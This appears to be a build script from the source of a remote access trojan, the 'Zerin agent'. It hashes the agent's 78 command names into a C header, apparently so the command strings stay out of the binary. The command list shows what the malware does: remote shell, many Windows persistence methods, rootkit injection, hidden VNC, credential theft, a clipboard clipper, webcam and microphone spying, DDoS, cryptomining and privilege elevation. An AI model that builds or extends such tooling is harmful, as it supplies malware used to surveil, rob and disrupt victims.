#!/usr/bin/env python3 """ generate_cmd_hashes.py - Build-time FNV-1a command hash generator for Zerin agent. Computes FNV-1a 32-bit hashes for all command names and outputs a header file with #define constants, replacing string comparisons with hash lookups. Outputs: - include/cmd_hashes_gen.h (hash defines + inline hash function) Usage: python tools/generate_cmd_hashes.py [--outdir ] """ import os import sys import argparse # ============================================================================ # Command table (must match handler.c order) # ============================================================================ COMMANDS = [ "shell", "whoami", "ps", "ls", "cd", "pwd", "upload", "download", "screenshot", "netstat", "ifconfig", "reg_read", "reg_write", "persist_runkey", "persist_schtask", "persist_service", "env", "sysinfo", "persist_startup", "persist_logonscript", "persist_screensaver", "persist_ifeo", "persist_bits", "persist_com", "persist_dllhijack", "persist_wmi", "persist_portmon", "persist_ssp", "delete", "encrypt", "decrypt", "execute", "uninstall", "restart", "shutdown", "troll_msgbox", "troll_tts", "troll_website", "troll_wallpaper", "troll_taskbar", "troll_cd_tray", "chat", "rootkit_status", "rootkit_inject", "rootkit_inject_all", "vnc_start", "vnc_stop", "hvnc_start", "hvnc_stop", "hvnc_exec", "powershell", "kill", "windows", "installed_apps", "specs", "troll_swapmouse", "troll_disablesound", "troll_blackscreen", "troll_disablekeyboard", "troll_disablemouse", "troll_reroutesites", "creds", "clipper_start", "clipper_stop", "clipper_config", "webcam_start", "webcam_stop", "webcam_list", "mic_start", "mic_stop", "socks5_start", "socks5_stop", "ddos_start", "ddos_stop", "miner_start", "miner_stop", "miner_status", "elevate", ] assert len(COMMANDS) == 78, f"Expected 78 commands, got {len(COMMANDS)}" # ============================================================================ # FNV-1a 32-bit hash # ============================================================================ def fnv1a_32(s): h = 0x811c9dc5 for c in s.encode('utf-8'): h ^= c h = (h * 0x01000193) & 0xFFFFFFFF return h # ============================================================================ # Header generation # ============================================================================ def generate_header(commands): """Generate the C header content with hash defines.""" # Compute hashes and check for collisions hashes = {} for cmd in commands: h = fnv1a_32(cmd) if h in hashes: print(f"ERROR: Hash collision between '{hashes[h]}' and '{cmd}' " f"(0x{h:08x})", file=sys.stderr) sys.exit(1) hashes[h] = cmd # Find max define name length for alignment max_name_len = max(len(f"CMD_HASH_{cmd.upper()}") for cmd in commands) lines = [] lines.append("// Auto-generated by generate_cmd_hashes.py - DO NOT EDIT") lines.append("#ifndef CMD_HASHES_GEN_H") lines.append("#define CMD_HASHES_GEN_H") lines.append("") lines.append("#include ") lines.append("") lines.append("static inline uint32_t fnv1a_hash(const char *s) {") lines.append(" uint32_t h = 0x811c9dc5u;") lines.append(" for (; *s; s++) {") lines.append(" h ^= (uint8_t)*s;") lines.append(" h *= 0x01000193u;") lines.append(" }") lines.append(" return h;") lines.append("}") lines.append("") for cmd in commands: h = fnv1a_32(cmd) define_name = f"CMD_HASH_{cmd.upper()}" padding = " " * (max_name_len - len(define_name)) lines.append(f"#define {define_name}{padding} 0x{h:08x}u // \"{cmd}\"") lines.append("") lines.append("#endif // CMD_HASHES_GEN_H") lines.append("") return "\n".join(lines) # ============================================================================ # Main # ============================================================================ def main(): parser = argparse.ArgumentParser( description="Generate FNV-1a command hash header for Zerin agent" ) parser.add_argument("--outdir", default=None, help="Agent root directory (default: script parent dir)") args = parser.parse_args() # Determine paths script_dir = os.path.dirname(os.path.abspath(__file__)) agent_dir = args.outdir or os.path.dirname(script_dir) header_path = os.path.join(agent_dir, "include", "cmd_hashes_gen.h") # Ensure output directory exists os.makedirs(os.path.dirname(header_path), exist_ok=True) # Generate header_content = generate_header(COMMANDS) # Write header with open(header_path, "w", newline="\n") as f: f.write(header_content) print(f"Generated {header_path} ({len(COMMANDS)} commands, no collisions)") if __name__ == "__main__": main()